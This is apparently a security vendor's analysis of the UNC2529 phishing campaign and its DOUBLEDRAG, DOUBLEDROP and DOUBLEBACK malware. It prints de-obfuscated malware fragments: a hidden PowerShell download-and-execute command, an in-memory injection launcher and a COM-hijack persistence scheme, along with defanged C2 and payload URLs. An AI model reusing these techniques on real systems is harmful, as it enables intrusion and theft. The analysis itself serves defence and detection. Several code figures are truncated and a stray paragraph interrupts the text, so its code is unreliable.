The UNC2529 Triple Double: A Trifecta Phishing Campaign

In December 2020, Mandiant observed a widespread, global phishing
campaign targeting numerous organizations across an array of
industries. Mandiant tracks this threat actor as UNC2529.
Based on the considerable infrastructure employed, tailored phishing
lures and the professionally coded sophistication of the malware, this
threat actor appears experienced and well resourced. This blog post
will discuss the phishing campaign, identification of three new
malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a
deep dive into their functionality, present an overview of the actor’s
modus operandi and our conclusions. A future blog post will focus on
the backdoor communications and the differences between DOUBLEBACK
samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on
Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28
organizations were sent phishing emails, though targeting was likely
broader than directly observed. These emails were sent using 26 unique
email addresses associated with the domain
tigertigerbeads<.>com, and in only a small number of cases did
we see the same address used across multiple recipient organizations.
These phishing emails contained inline links to malicious URLs such
engineered to entice the victim to download a file. UNC2529 employed
at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the
following patterns, where the string was an alphabetic variable of
unknown function.


The first stage payload downloaded from these URLs consisted of a
Zip compressed file containing a corrupt decoy PDF document and a
heavily obfuscated JavaScript downloader. Mandiant tracks the
downloader as DOUBLEDRAG. Interestingly, the PDF documents were
obtained from public websites, but corrupted by removing bytes to
render them unreadable with a standard PDF viewer. It is speculated
that the victim would then attempt to launch the JavaScript (.js)
file, which can be executed natively with Windows Script Host by
simply double clicking on the file. All but one of the file name
patterns for the ZIP, PDF and JS files were
document_<state>_client-id_<4 digit number>.extension,
such as “”.

Each of the observed DOUBLEDRAG downloaders used in the first wave
attempted to download a second-stage memory-only dropper, which
Mandiant tracks as DOUBLEDROP, from either
hxxp://p-leh[.]com/update_java.dat or
hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily
obfuscated PowerShell script that will launch a backdoor into memory.
Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK
samples observed during the phishing campaign beaconed to
hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18,
2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and
cooling services company, modified DNS entries and leveraged that
infrastructure to phish at least 22 organizations, five of which were
also targeted in the first wave. It is not currently known how the
legitimate domain was compromised. The threat actor used 20 newly
observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during
the second wave.


Of note, the DOUBLEDRAG downloader observed in the first wave was
replaced with a Microsoft Excel document containing an embedded legacy
Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format
(BIFF8). When the file was opened and the macro executed successfully,
it would attempt to download a second-stage payload from
hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the
DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file
from a hardcoded URL. This Excel file was also found within Zip files,
as seen in the first wave, although only one of the observed Zip files
included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples
uploaded to a public malware repository, which revealed additional
command and control servers (C2),
hxxps://secureinternet20[.]com/admin5/client.php, and
hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains
were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their
selection of sender email addresses and subject lines which were
tailored to their intended victims. For example, UNC2529 used a unique
username, masquerading as an account executive for a small
California-based electronics manufacturing company, which Mandiant
identified through a simple Internet search. The username of the email
address was associated with both sender domains,
tigertigerbeads<.>com and the compromised HVAC company.
Masquerading as the account executive, seven phishing emails were
observed targeting the medical industry, high-tech electronics,
automotive and military equipment manufacturers, and a cleared defense
contractor with subject lines very specific to the products of the
California-based electronics manufacturing company.

Another example is a freight / transport company that received a
phish with subject, “compton ca to flowery branch ga”, while a firm
that recruits and places long-haul truck drivers received a simple,
“driver” in the subject line.

A utility company received a phish with subject, “easement to bore
to our stairwell area.”

While not all financial institutions saw seemingly tailored
subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure


re: <redacted> outdoors
environment (1 out of 3)


accepted: follow up with butch
& karen


re: appraisal for <redacted>
– smysor rd


re: <redacted> financing


Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific
subjects, but still appropriate for the industry, such as those in
Table 2.

Subject Lure


fw: certificate of insurance


fw: insurance for plow


please get this information


question & number request


claim status


applications for medicare
supplement & part d


Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas
received a phish with a subject related to a local water authority and
an ongoing water project. While no public information was found to tie
the company to the other organization or project, the subject appeared
to be very customized.

Some patterns were observed, as seen in Table 3. Additionally,
UNC2529 targeted the same IT services organization in both waves using
the same lure (1 and 5 in Table 3). Most of the phishing emails with
lures containing “worker” targeted U.S. organizations. As “worker”
isn’t a common way to refer to an employee in the U.S., this may
indicate a non-native American English speaker.

Subject Lure


dear worker, your work #


good day worker, your job number-


hello worker, your work number-


good day candidate, your vacancy #


dear worker, your work #


Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of
industries (Industry and Regional Targeting graphics are greater than
100% due to rounding). While acknowledging some telemetry bias, in
both waves the U.S. was the primary target, while targeting of EMEA
and Asia and Australia were evenly dispersed in the first wave, as
shown in Figure 1.

The UNC2529 Triple Double: A Trifecta Phishing Campaign

Figure 1: UNC2529 phishing campaign,
first wave

In the second wave, EMEA’s percentage increased the most, while the
U.S. dropped slightly, and Asia and Australia remained at close to the
same level, as illustrated in Figure 2. 

Figure 2: UNC2529 phishing campaign,
second wave

Although Mandiant has no evidence about the objectives of this
threat actor, their broad targeting across industries and geographies
is consistent with a targeting calculus most commonly seen among
financially motivated groups.

Technical Analysis


The Triple DOUBLE malware ecosystem consists of a downloader
(DOUBLEDRAG) (or alternatively an Excel document with an embedded
macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As
described in the previous section, the initial infection vector starts
with phishing emails that contain a link to download a malicious
payload that contains an obfuscated JavaScript downloader. Once
executed, DOUBLEDRAG reaches out to its C2 server and downloads a
memory-only dropper. The dropper, DOUBLEDROP, is implemented as a
PowerShell script that contains both 32-bit and 64-bit instances of
the backdoor DOUBLEBACK. The dropper performs the initial setup that
establishes the backdoor’s persistence on the compromised system and
proceeds by injecting the backdoor into its own process
(PowerShell.exe) and then executing it. The backdoor, once it has the
execution control, loads its plugins and then enters a communication
loop, fetching commands from its C2 server and dispatching them. One
interesting fact about the whole ecosystem is that only the downloader
exists in the file system. The rest of the components are serialized
in the registry database, which makes their detection somewhat harder,
especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript
code. Despite the relatively large amount of the code, it boils down
to the following snippet of code (Figure 3), after de-obfuscation.

“C:WindowsSystem32cmd.exe” /c
oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass
-enc <base64_encoded_ps_code>

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code>
downloads and executes a PowerShell script that implements the
DOUBLEDROP dropper. Note, that the downloaded dropper does not touch
the file system and it is executed directly from memory. A sanitized
version of the code, observed in the first phishing wave, is shown in
Figure 4.

IEX (New-Object

Figure 4: Downloading and executing of the

DOUBLEDROP Dropper component


The dropper component is implemented as an obfuscated in-memory
dropper written in PowerShell. Two payloads are embedded in the
script—the same instances of the DOUBLEBACK backdoor compiled for 32
and 64-bit architectures. The dropper saves the encrypted payload
along with the information related to its decryption and execution in
the compromised system’s registry database, effectively achieving a
file-less malware execution.


The dropper’s main goal is to serialize the chosen payload along
with the loading scripts into the compromised system’s registry
database and to ensure that the payload will be loaded following a
reboot or a user login (see the Persistence Mechanism section). In
order to do so, the dropper generates three pseudo-random GUIDs and
creates the registry keys and values shown in Figure 5.

       * key: LocalServer
              * value:
                      * data:
       * key: ProgID
              * value: <default>
        * data: <rnd_guid_1>
value: <last_4_chars_of_rnd_guid_0>
          * data: <encoded_loader>
key: VersionIndependentProgID
              * value:
                      * data:
              * value:
    * data: <encoded_rc4_key>
value: <last_4_chars_of_rnd_guid_0>
          * data: <rc4_encrypted_payload>

 * value: <default>
              * data:
       * key: CLSID
      * value: <default>
* data: <rnd_guid_0>

       * value: <default>
              * data:
       * key: TreatAs
        * value: <default>
  * data: <rnd_guid_0>

Figure 5: Registry keys and values created by
the dropper

Once the registry keys and values are created, the dropper
dynamically generates the bootstrap and the launcher PowerShell
scripts and saves them under the {<rnd_guid_0>} registry key as shown in
Figure 5. Additionally, at this point the dropper generates a random
RC4 key and encodes it inside a larger buffer which is then saved
under the VersionIndependentProgID key. The actual RC4 key within the
buffer is given by the following calculations, shown in Figure 6 (note
that the key is reversed!).

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] =

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4
key and saves it in the respective value under the
VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload’s
persistence on the system are complete and the dropper proceeds by
directly executing the launcher script, so the backdoor receives the
execution control immediately. The persistence mechanism, the
bootstrap, and the launcher are described in more details in the
following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is
slightly different depending on whether the dropper has been started
within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process,
it creates a scheduled task with an action specified as
TASK_ACTION_COM_HANDLER and the class ID – the {<rnd_guid_2>} GUID (See Figure 5). Once
executed by the system, the task finds the {<rnd_guid_2>} class under the
HKLMSoftwareClassesCLSID registry path, which in this case points
to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a
registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process,
the sequence is generally the same but instead of a task, the malware
hijacks one of the well-known classes, Microsoft PlaySoundService
({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor
({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated
TreatAs registry key under their definition in the registry database.
The TreatAs key’s default registry value points to the {<rnd_guid_0>} emulator class essentially
achieving the same execution sequence as in the elevated privilege case.


The bootstrap is implemented as an obfuscated PowerShell script,
generated dynamically by the dropper. The content of the code is saved
under the emulator’s class LocalServer registry key and it is either
executed by a dedicated task in case of a privileged PowerShell
process or by the operating system that attempts to load the emulator
for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script,
decodes it and then executes it within the same PowerShell process. A
decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -n ‘<launcher_reg_val>’ | Select-Object
-ExpandProperty ‘<launcher_reg_val>’;
$xor_val =
        for ($i = 0; $i -lt
$loader.Length; $i++) {
            if ($xor_val -ge
250) {
                $xor_val = 0
            $loader[$i] -bxor $xor_val;
      $xor_val += 4

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the
dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR
that is incremented after each iteration. The following code snippet
(Figure 8) could be used to either encode or decode the launcher,
given the initial key.

def encdec(src, key):
    out =
    for b in src:
        if key
>= 250:
            key = 0
out.append(b ^ key)
        key += 4

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same
PowerShell process as the bootstrap by calling the iex
(Invoke-Expression) command.


The launcher responsibility, after being executed by the bootstrap
code, is to decrypt and execute the payload saved under the
VersionIndependentProgID registry key. To do so, the launcher first
decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see
Figure 5) and then uses it to decrypt the payload. Once the payload is
decrypted, the launcher allocates virtual memory enough to house the
image in memory, copies it there, and finally creates a thread around
the entry point specified in the dropper. The function at that entry
point is expected to lay the image in memory, to relocate the image,
if necessary, to resolve the imports and finally—to execute the
payload’s entry point.

A sanitized and somewhat de-obfuscated version of the launcher is
shown in Figure 9.

function DecryptPayload {
param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty
-Path $fn7 -n $mb5 | Select-Object -ExpandProperty
    $en8 = ($fn1[32] + (19 + (((5 – 2) + 0) +
    $ow7 = $fn1[$en8..($en8 + 31)];
    $fn1 = Get-ItemProperty
-Path $fn7 -n $xf7 | Select-Object -ExpandProperty
    $en8 = {
        $xk2 =
        0..255 | % {
= ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 – (3 +
(11 + 5)));
            $xk2[$_], $xk2[$wn4] =
$xk2[$wn4], $xk2[$_]
        $fn1 |
% {
            $sp3 = ($sp3 + 1) % (275 – 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 – 280) –
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9],
            $_-bxor$xk2[($xk2[$sp3] +
$xk2[$si9]) % (343 – ((1 + 0) + 86))]
    $ry6 = (& $en8 | foreach-object {
‘{0:X2}’ -f $_ }) -join ”;
    ($(for ($sp3 = 0;
$sp3 -lt $ry6.Length; $sp3 += 2) {
[convert]::ToByte($ry6.Substring($sp3, 2), (17 – ((1 +

function ExecuteApi {
param($fn7, $xf7)
    $vy9 =
‘Public,HideBySig,NewSlot,Virtual’, $xf7,

function GetProcAddress {
    $fq3 =
([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object
        $_.GlobalAssemblyCache -and
  $lr3 = New-Object
IntPtr), ($fq3.GetMethod(‘GetModuleHandle’).Invoke(0,
$fq3.GetMethod(‘GetProcAddress’, [reflection.bindingflags]
‘Public,Static’, $null,
[System.Reflection.CallingConventions]::Any, @((New-Object
[string]), $null).Invoke($null,

$decryptedPayload = DecryptPayload

function InjectPayload {
param($payload, $payloadLen, $entryPoint, $access)
  $mem =
‘VirtualAllocEx’), (ExecuteApi @([IntPtr], [IntPtr],
[IntPtr], [int], [int])([Intptr]))).invoke(-1, 0,
$payloadLen, 0x3000, $access);

‘RtlMoveMemory’), (ExecuteApi @([IntPtr], [byte[]],
[UInt32])([Intptr]))).invoke($mem, $payload,
    $mem = New-Object System.Intptr
-ArgumentList $($mem.ToInt64() + $entryPoint);

‘CreateThread’), (ExecuteApi @([IntPtr], [UInt32], [IntPtr],
[IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem,
0, 0, 0);
    Start-Sleep -s (((2673 – 942) +

# 0x36dc = Loader Entry Point, rva
$decryptedPayload $decryptedPayload.length 0x36dc

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component


The observed DOUBLEDROP instances contain a well-designed backdoor
implemented as a 32 or 64-bit PE dynamic library which we track as
DOUBLEBACK. The backdoor is initially mapped into the same PowerShell
process started by the bootstrap script, but it will then inject
itself into a msiexec.exe process if certain conditions are met. By
design, the core of the backdoor functionality is intended to be
executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its
services hardcoded and the functionality is expected to be implemented
as plugins that are expected to be serialized in the registry database
under a host-specific registry path. That way, the backdoor can be
configured to implement a flexible set of services depending on the
target. With all the common functionality implemented as plugins, the
backdoor’s main goal is to establish a communication framework
ensuring data integrity between the C2 server and the appropriate plugins.


The backdoor starts by retrieving its process name and ensures that
it is either powershell.exe or msiexec.exe. In all other cases, the
malware will immediately terminate itself. Normally, when first
started on the system, the backdoor will be injected into the same
PowerShell process that executes both the bootstrap code and the
launcher. In that mode the malware may spawn (depending on certain
conditions) a msiexec process and injects itself into it. More details
about the logic implemented in the PowerShell and the msiexec branches
are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance
currently executing on the compromised system. To do that, the malware
generates a host-based pseudo-unique GUID and uses it as a mutex name.
The algorithm first generates a pseudo-unique host identifier that is
based on the system volume’s serial number and a hardcoded salt value,
as shown in Figure 10.

# oberserved salt = 0x436ea76d
gen_host_id(vol_ser_num, salt):
    salted_val =
(vol_ser_num + salt) & 0xffffffff
    md5 =
hashlib.md5(bytes(salted_val.to_bytes(4, ‘little’)))
  second_dword = struct.unpack(‘<i’,
    return (salted_val +
second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm
that generates a pseudo-unique GUID based on the input, as shown in
Figure 11.

# src is the host ID
    b = bytearray()
    xor =
    for _ in range(4):
        b +=
src.to_bytes(4, byteorder=’little’)
        src ^=
        xor = (xor + xor) & 0xffffffff
  return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global{<guid>} and attempts to open a mutex with
that name. In case the mutex is already created the backdoor assumes
that another instance of itself is already running and terminates
itself. Otherwise, the backdoor creates the mutex and branches out
depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped
into a PowerShell process created by the bootstrap code. In this mode,
the backdoor attempts to relocate itself into a new instance of
msiexec.exe. Before the injection is attempted, the backdoor
enumerates the running processes looking for Kaspersky Antivirus
(avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe,
bdservicehost.exe) engines. This part of the functionality seems to be
a work in progress because the malware ignores the fact if the
Kaspersky software is detected but it will not attempt injecting into
the msiexec.exe process in case BitDefender is found running on the
compromised system. In the latter case, the backdoor’s main
functionality will be executed inside the same PowerShell process and
no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor’s image under
the appropriate registry key. Note, that the backdoor instance we have
observed in the first wave does not handle situations when the malware
ecosystem is installed as an administrator—such cases would end up
with the backdoor not able to locate its image for injecting. In all
other cases, the malware starts with the well-known class GUIDs of the
PlaySoundService and MsCtfMonitor classes and attempts to find which
of them has the TreatAs registry key under their definition. Once the
TreatAs key is found, its default registry value points to the
registry key that has the RC4-encrypted backdoor image and the encoded
RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware
spawns a suspended process around msiexec.exe and inject its image
into it. The backdoor PE file exports a single function that is used
to lay down its own image in memory and execute its DllMain entry
point. The export function allocates the needed memory, relocates the
image, if needed, resolves the imports and finally executes the
backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked
msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process


The DOUBLEBACK backdoor executes its main functionality while
injected in a dedicated msiexec.exe process (provided BitDefender AV
is not found running on the system). The main logical modules of the
backdoor are its configuration, plugin management, and communications.
In the following sections we will describe the first two, while a
future blog post will focus on the communications and the evolution of
the backdoor.


The backdoor uses an embedded configuration that contains the C2
URLs and a key (more about the key in the second part of the post).
The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
uint32_t xor_val_1;
    uint32_t xor_val_2;
  uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
config_header_t header;
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of
the xor_val_1 and xor_val_2 fields of the config_header_t structure.
The config_t.encoded_config blob can be decoded by XOR-ing the data
with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of
URLs followed by a key that is used in the communication module. The
first two bytes specify the lengths of the comma-separated URL list
and the key, respectively. The URLs in the observed samples follow the
pattern shown in Figure 13.


Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed
to use <n> equal to 4 or 5.

Plugin Management

The backdoor’s core functionality is implemented via plugins
designed as PE Windows dynamic libraries. The plugins, as with the
other backdoor components, are also saved in the registry database
under a host-specific registry key. The full path to the plugins
location is formatted as HK[LM|CU]:SoftwareClassesCLSID{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID
algorithm shown in Figure 11 with a host-specific value we call
implant ID which is used not only to generate the path to the plugins
but with the backdoor’s C2 communications and it is also passed as a
parameter to each of the plugins during their initialization. The
implant ID is generated by seeding the Linear Congruential Generator
(LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The
value generated by the LCG is then added to 0x989680 and the result
serves as the implant ID.

def lcg(max_range):
    if seed == 0:
        seed =
    n = (0x7fffffed * seed + 0x7fffffc3)
& 0xffffffff
    val = n % max_range
seed = n
    return val

Figure 14: Linear Congruential Generator used by
the backdoor

The backdoor enumerates all the registry values under the plugins
home location (the registry value names are insignificant) and expects
each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
uint32_t xor_val;
    uint32_t param_2; the second
parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
uint32_t pfn_cleanup;
    uint32_t param_3; the third
parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
 plugin_header_t header;
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long
header followed by the encoded plugin DLL. The plugin encoding is
implemented as a combination of rolling DWORD/BYTE XOR with initial
value specified by the plugin_header_t.xor_val value. The
plugin_header_t.len_1 stores the number of DWORDS to be decoded with
plugin_header_t.xor_val which is incremented by 4 after each
iteration. The plugin_header_t.len_2 specifies the number of bytes to
be decoded at the current position after the previous operation with
the current value of the plugin_header_t.xor_val (only the least
significant byte is taken). In this mode the plugin_header_t.xor_val
value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for
initialization and another to clean up the resources before unloading.
The initialization routine takes four parameters—two from the header
and two calculated by the backdoor, as shown Figure 16.

plugin_header_t.param_2, plugin_header_t.param_3,

Figure 16: Plugins initialization routine prototype

The current backdoor’s implementation provides support for up to 32
plugins with each of them mapped and initialized in the backdoor’s
process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a
stable and well-written code, but it was clearly a work in progress.
For example, the early instance of the malware spawns a thread to
secure delete the DOUBLEDROP dropper from disk which indicates that an
earlier variant of this malware launched a copy of the dropper from
the file system. The dropper would save its current location on disk
in the default registry value under the HK[LM|CU]:SoftwareClasses
key. The backdoor spawns a dedicated thread that retrieves the
dropper’s path and then proceeds to overwrite the image on disk with
0x00, 0xFF, and a randomly generated byte before deleting the dropper
from the file system.

Additionally, the early instance of the backdoor, as mentioned,
would not handle the situations when an elevated PowerShell process is
used. The dropper would use a scheduled task in that case with the
relevant registry keys created under the HKLM hive but the backdoor
does not support that case and will not be able to find its image
under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases
using the OutputDebugString API. Interestingly, the format and the
generation of the log message is the same as the one used in the publicly
available PEGASUS code
technical analysis: Pegasus Malware Source Code
backdoor is distributed with modules that allow it to manipulate files
generated by common Russian payment processing software that is used
to assess and process VAT refunds. When executed on a workstation
running targeted software, the malware can attempt to add VAT to
transactions that are normally exempt and directs associated tax
refunds to attacker-controlled bank accounts.


Considerable resources were employed by UNC2529 to conduct their
December phishing campaign. Almost 50 domains supported various phases
of the effort, targets were researched, and a legitimate third-party
domain was compromised. The threat actor made extensive use of
obfuscation and fileless malware to complicate detection to deliver a
well coded and extensible backdoor. UNC2529 is assessed as capable,
professional and well resourced. The identified wide-ranging targets,
across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant
anticipates further actions by UNC2529 to compromise victims across
all industries worldwide.

Technical Indicators













PDF Decoy



PDF Decoy









Excel BIFF8 macro



PDF Decoy












Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave



















































  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c


  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat


  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337


  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php


FireEye detects this activity across our platforms. The following
contains specific detection names that provide an indicator of
exploitation or post-exploitation activities we associate with UNC2529.


Detection Name

Network Security


Detection On Demand

Malware File

Malware File Storage Scanning

  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)


Malware Protection (AV/MG)

  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category


Resource Development

Initial Access


Privilege Escalation

Defense Evasion



Command and Control


Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and
Jeremy Kennelly for technical review of this content. In addition,
thank you to Nico Paulo Yturriaga and Evan Reese for outstanding
signature creation, and Ana Foreman for graphics support.

By admin